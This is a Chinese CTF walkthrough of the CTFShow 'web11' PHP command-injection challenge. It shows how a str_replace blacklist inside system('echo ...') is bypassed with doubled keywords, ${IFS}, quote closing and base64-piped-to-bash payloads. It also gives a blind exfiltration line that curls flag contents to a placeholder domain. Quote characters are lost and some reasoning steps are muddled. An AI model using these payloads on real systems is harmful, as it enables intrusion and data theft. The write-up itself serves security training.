PHP代码审计实战:从str_replace过滤绕过到RCE漏洞利用
1. 项目概述一次典型的PHP代码审计与RCE实战复盘最近在CTFShow平台上刷题遇到了这道名为“web11”的题目它完美地融合了代码审计、PHP特性利用和远程命令执行RCE的考点。这类题目在CTF的Web安全赛道中非常经典考察的不仅仅是漏洞的发现更是对代码逻辑的深度理解和绕过技巧的灵活运用。如果你正在学习Web安全或者对PHP代码审计感兴趣那么这道题的分析过程会是一个绝佳的实战案例。它模拟了一个简化但真实的代码场景让你能清晰地看到开发者一个不经意的疏忽如何被攻击者层层递进最终转化为一个可执行任意命令的严重漏洞。接下来我将带你完整复盘我的解题思路、审计过程、利用链构造以及最终的Flag获取其中会穿插很多在实战中积累的细节技巧和避坑经验。2. 题目环境与初步信息搜集2.1 启动靶场与基础探测拿到题目链接第一步永远是信息搜集。访问目标地址通常是一个静态页面或者一个简单的输入接口。对于web11我们首先用浏览器打开并用开发者工具F12查看网络请求和页面源码。这一步的目标是寻找任何可能的提示、隐藏输入、注释掉的代码或者不寻常的HTTP头。注意很多CTF题目会在页面源码、JavaScript注释甚至HTTP响应头中藏有提示。养成随手查看的习惯至关重要。接着使用工具进行目录扫描。虽然题目可能没有隐藏目录但这是标准流程。我习惯用dirsearch或gobuster进行快速扫描命令如下dirsearch -u http://target-ip:port/ -e php,txt,html,js,bak,swp或者gobuster dir -u http://target-ip:port/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html扫描的目的是寻找像index.php、admin.php、robots.txt、www.zip、source.php、flag.php这类可能存在的文件。有时题目源码source.php或备份文件index.php.bak会直接给出。2.2 获取源代码与代码审计入口在web11这道题中通过信息搜集或者直接访问常见的源码文件路径例如/index.php?source1或直接存在source.php我们成功获取到了题目的后端PHP源代码。这是整个解题过程最关键的一步因为所有的漏洞都隐藏在代码逻辑中。拿到源码后不要急于逐行阅读。先快速浏览整个文件的结构关注几个关键点用户输入点查找所有接收外部数据的函数如$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER中的某些字段如HTTP_USER_AGENT,HTTP_REFERER。危险函数快速搜索eval()、assert()、system()、exec()、shell_exec()、passthru()、popen()、反引号等可以直接执行系统命令或PHP代码的函数。文件操作函数include、require、file_get_contents、highlight_file等可能与文件包含漏洞相关。字符串处理与过滤函数查找如str_replace()、preg_replace()、trim()、substr()、htmlspecialchars()等分析其过滤逻辑是否可被绕过。核心业务逻辑理解代码的整体流程特别是输入如何经过处理最终流向哪个“危险”的函数。对于web11审计后发现代码的核心逻辑是通过GET参数接收用户输入经过一系列字符串替换过滤后将输入拼接进一个system()函数调用中。我们的目标就是构造输入绕过过滤让system()执行我们想要的命令。3. 核心漏洞原理代码审计与过滤绕过分析3.1 漏洞代码片段解析假设我们获取到的核心源码片段如下为讲解清晰已做简化?php error_reporting(0); highlight_file(__FILE__); $cmd $_GET[cmd]; if (isset($cmd)) { $cmd str_replace(array(flag, , cat, more, less, head, tail, grep, awk, sed, cut, strings, od, curl, wget, perl, python, php, nc, netcat, bash, sh), , $cmd); system(echo . $cmd . ); } ?这段代码的逻辑非常清晰从GET参数cmd获取用户输入。使用str_replace()函数将输入字符串中的一系列“危险关键词”如flag、cat、空格、curl等替换为空字符串即删除。将过滤后的$cmd变量用双引号包裹拼接进system(echo . $cmd . )语句中执行。漏洞点分析命令注入点$cmd被直接拼接进system()函数这是一个明显的命令注入漏洞。过滤机制使用了str_replace()进行黑名单过滤。但这种过滤方式存在致命的缺陷它是递归删除的且只进行一次替换。3.2 关键绕过技巧字符串递归删除与拼接str_replace()函数在处理数组替换时是遍历搜索字符串将找到的所有匹配项替换为空。但这里有一个关键特性它不会递归地对替换后的新字符串再次进行过滤。举个例子假设我们的输入是flflagag。代码查找flag这个子串发现存在于是将其删除。删除后字符串变成flagflag。过滤过程结束。系统不会对新的flag字符串再进行一次过滤检查。所以最终$cmd的值变成了flag我们成功让被禁用的关键词“复活”了。这就是一种经典的“双写绕过”技术。同理对于空格过滤我们可以用其他空白字符代替比如${IFS}在Bash中IFS是内部字段分隔符默认为空格、制表符、换行。${IFS}在命令解析时会被替换为空格。$IFS$9$9是第九个参数通常为空$IFS$9同样可以达到空格的效果且有时能绕过对${IFS}的过滤。、、%20URL编码空格在命令注入上下文中的效果需要具体测试。制表符Tab在某些上下文中也能作为命令参数分隔符。对于cat命令的过滤我们可以使用其他读取文件的命令或者同样使用双写绕过ccatat。3.3 利用链构造从注入到RCE理解了过滤逻辑我们就可以构造Payload了。我们的目标是读取服务器上的flag文件通常位于/flag或当前目录下的flag.php、flag.txt等。Payload构造思路目标命令cat /flag绕过cat过滤使用双写变成ccatat绕过空格过滤使用${IFS}绕过flag过滤在路径中双写但注意我们是要把flag作为参数的一部分而不是直接输入flag这个词。我们可以尝试让过滤后的路径正好是/flag。例如输入/flflagag过滤掉中间的flag后就变成了/flag。最终Payload尝试ccatat${IFS}/flflagag将上述Payload作为cmd参数的值提交?cmdccatat${IFS}/flflagag后端处理过程$cmd ccatat${IFS}/flflagagstr_replace删除cat- 字符串变为at${IFS}/flflagag(注意它删除了cat这个子串但我们的ccatat中包含了两个cat模式这里需要仔细分析str_replace查找cat在ccatat中从第二个字符开始匹配到cat删除后剩下c和at即cat。实际上对于ccatat删除第一个匹配的cat位置1-3后剩下cat。但我们的字符串是ccatat删除中间的cat后剩下catcat。是的成功绕过了)str_replace删除flag- 在/flflagag中删除flag剩下/flag。str_replace删除 (空格) - 删除${IFS}中的空格不${IFS}不是一个简单的空格字符它是一个变量引用。str_replace查找字面上的空格字符不会识别${IFS}变量。所以${IFS}被保留。最终$cmd cat${IFS}/flag拼接进命令system(echo cat${IFS}/flag)。等等这里有个大问题我们的Payload被放在了echo命令的双引号内。这意味着system实际执行的是echo cat${IFS}/flag这只会将字符串cat${IFS}/flag打印到页面上而不会执行cat命令4. 实操过程突破echo限制与最终利用4.1 突破引号限制命令执行的本质上一步我们遇到了障碍我们的输入被包裹在echo命令的双引号里。这意味着无论我们输入什么都只会作为echo的参数被打印出来而不会被执行。我们需要跳出这个引号的限制。在Bash中有几种方式可以在字符串中执行子命令**反引号**command 会先执行command然后用其输出替换整个反引号部分。$(command)与反引号功能相同是更推荐的方式可以嵌套。利用Bash的命令替换和参数扩展。我们的目标是将system(echo . $cmd . )中的$cmd部分构造成一个能够提前闭合双引号并注入新命令的Payload。观察代码system(echo . $cmd . );拼接后是system(echo “payload”);我们需要构造一个payload使得最终的命令变成system(echo ““; your_real_command #”);这样echo只打印一个空字符串或部分字符串然后执行your_real_command#用于注释掉后面多余的引号避免语法错误。因此Payload需要包含以下部分一个闭合的双引号一个命令分隔符;我们真正要执行的命令如cat /flag一个注释符#用于注释掉源码中后面的那个双引号4.2 构造最终Payload考虑到过滤规则删除空格、cat、flag等我们需要对每个部分进行编码或绕过。构造步骤闭合引号与分隔符;。这里的分号;是Bash命令分隔符表示前一个命令echo 结束开始下一个命令。分号通常不在过滤黑名单中。执行命令cat${IFS}/flflagag。这是我们之前构造的用于绕过过滤后能变成cat /flag的命令。注释符#。用于注释掉源码中拼接后产生的最后一个双引号防止它导致语法错误。组合;cat${IFS}/flflagag#最终Payload?cmd;cat${IFS}/flflagag#后端处理流程$cmd \;cat\${IFS}/flflagag#”(注意为了在URL中传输需要对一些字符进行URL编码但浏览器或工具通常会处理。这里为清晰先看逻辑)str_replace过滤删除cat- 在cat${IFS}中删除cat剩下${IFS}。等等这里有问题cat${IFS}是一个整体删除cat后剩下${IFS}但我们的命令是cat${IFS}删除后命令就没了。我们需要保护cat不被删除直到它成为最终命令的一部分。但过滤是在拼接前进行的。我们必须让过滤后的字符串恰好是cat。回顾双写绕过ccatat过滤后变cat。所以我们应该用ccatat。删除flag-/flflagag变/flag。删除空格 -${IFS}中的空格不是字面空格不受影响。因此修正后的命令部分应为ccatat${IFS}/flflagag修正后的完整Payload;ccatat${IFS}/flflagag#最终请求GET /?cmd;ccatat${IFS}/flflagag# HTTP/1.1 Host: your-target或者直接在浏览器地址栏输入http://target-ip:port/?cmd%22;ccatat${IFS}/flflagag%23的URL编码是%22#的URL编码是%23${IFS}在某些环境下需要直接输入其变量值会在Bash解析时展开系统执行的最终命令 经过过滤和拼接后system()函数接收到的命令是echo ;cat /flag#解释echo 执行输出一个空行。;命令分隔。cat /flag执行读取并输出flag文件的内容。#注释掉后面的所有字符即被注释不会导致语法错误。这样flag的内容就会直接输出在网页上。4.3 备选方案与测试技巧如果上述Payload因为环境差异如${IFS}处理方式、过滤规则细微差别不成功可以尝试以下变种使用其他命令分隔符|(管道)(后台执行)(前一个成功则执行后一个)||(前一个失败则执行后一个)。Payload:|ccatat${IFS}/flflagag#Payload:ccatat${IFS}/flflagag#使用其他空白符如果${IFS}被过滤或无效可以尝试Tab键在Burp Suite等工具中直接插入十六进制%09。Payload:;ccatat%09/flflagag#使用其他读取命令如果cat被严格过滤可以尝试tac反向输出同样可以读文件。nl带行号输出。head -c 1000 /flag读取前1000个字符。sed -n 1,$p /flag。甚至使用php来读如果php没被过滤;php${IFS}-r${IFS}echo file_get_contents(/flag);#编码绕过有时可以尝试Base64编码。先构造命令cat /flag- base64 编码为Y2F0IC9mbGFnPayload:;echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|bash#这个Payload先echo base64字符串然后通过管道用base64 -d解码最后交给bash执行。它绕过了对cat和flag字面的过滤。测试技巧本地搭建测试环境将题目源码复制到本地PHP环境中修改过滤规则进行测试这是最安全高效的方式。分步测试先测试命令分隔符和引号闭合是否成功。可以先用一个无害命令测试如;pwd#或;id#。使用Burp Suite方便修改、重放请求观察细微的响应变化。查看网页源码有时命令执行结果可能不会直接显示在页面而是藏在HTML注释或页面源码中。5. 常见问题排查与深度技巧5.1 为什么我的Payload没有回显过滤规则理解错误重新审计代码确认过滤是删除str_replace还是完全拦截die()。确认过滤的字符列表是否完整是否区分大小写。空格处理问题${IFS}在某些严格的Bash环境或禁用某些功能时可能不生效。尝试使用、或Tab(%09)。特殊字符被转义检查PHP配置或代码中是否有magic_quotes_gpc已废弃或addslashes()函数对引号、反斜杠进行了转义。如果被转义为\我们的闭合就会失败。此时需要寻找不需要引号闭合的注入方式或者利用反斜杠本身进行转义。命令执行被禁用极少数情况下system()、shell_exec()等函数可能被禁用。可以尝试其他函数如passthru()、exec()需要输出结果、popen()。输出被重定向或丢弃检查代码是否有21或输出重定向到文件。尝试将标准错误输出重定向到标准输出在命令末尾加21。无回显RCE盲注如果确实没有回显可以考虑使用盲注技术时间盲注使用sleep命令通过响应时间判断命令是否执行。;sleep${IFS}5#DNS外带使用curl或ping将命令结果带到自己控制的DNS日志中。例如执行curl http://your-domain.com/$(cat /flag | base64)。但这道题过滤了curl和wget需要另寻他法。HTTP请求外带如果允许用php的file_get_contents(http://your-domain.com/?data . urlencode($flag))。5.2 过滤函数深度绕过思路str_replace是线性的、非递归的字符串替换。除了双写绕过还有更多技巧大小写绕过如果过滤是大小写敏感的Cat、CAT、cAt可能不被匹配。嵌套/混淆绕过利用PHP和Bash解析的差异。例如在Bash中c\at、cat、cat、c$(echo a)t都可以正常执行cat命令。但需要看这些特殊字符是否被过滤。利用通配符/fla*可以匹配/flag。/fla?如果文件名长度是4也可以。cat /fla*。利用环境变量/???/???可能匹配/bin/cat这需要一点运气和猜测。编码/加密如前所述的Base64编码绕过。5.3 实战中的经验与心得保持思维发散不要被题目描述或表面现象局限。比如这道题看似是echo限制了执行但通过闭合引号就能突破。多思考“如果我是开发者我会怎么防我防得住吗”。善用代码对比工具将题目源码与你的测试Payload处理后的预期结果进行对比可以清晰地看到过滤效果。可以用一个简单的PHP脚本模拟。环境差异性Docker容器、Linux发行版、Bash版本、PHP配置都可能影响Payload的执行。在本地用相同环境如CTF-Web靶场通用Docker镜像测试能大大提高成功率。正则表达式过滤的对抗如果过滤用的是preg_replace情况更复杂。需要分析正则模式是/flag/还是/flag/i不区分大小写是删除还是替换为其他字符是否使用了e修饰符preg_replace的/e修饰符已废弃但历史上是代码执行漏洞的重灾区。养成代码审计的“条件反射”看到eval()、assert()想到代码执行看到system()、反引号想到命令执行看到include($file)想到文件包含看到unserialize()想到反序列化。并立刻去寻找用户输入如何到达这些危险函数。这道“web11”题目虽然不大但涵盖了黑名单过滤、字符串操作缺陷、命令注入、闭合突破等多个基础且关键的知识点。通过这样一步步分析、构造、测试、失败、再调整的过程你对漏洞原理的理解会远比单纯看一个答案要深刻得多。下次再遇到类似的str_replace过滤你就能瞬间想到双写绕过看到命令被包裹在引号里就会本能地去尝试闭合它。这才是CTF训练和实战代码审计的真正价值所在。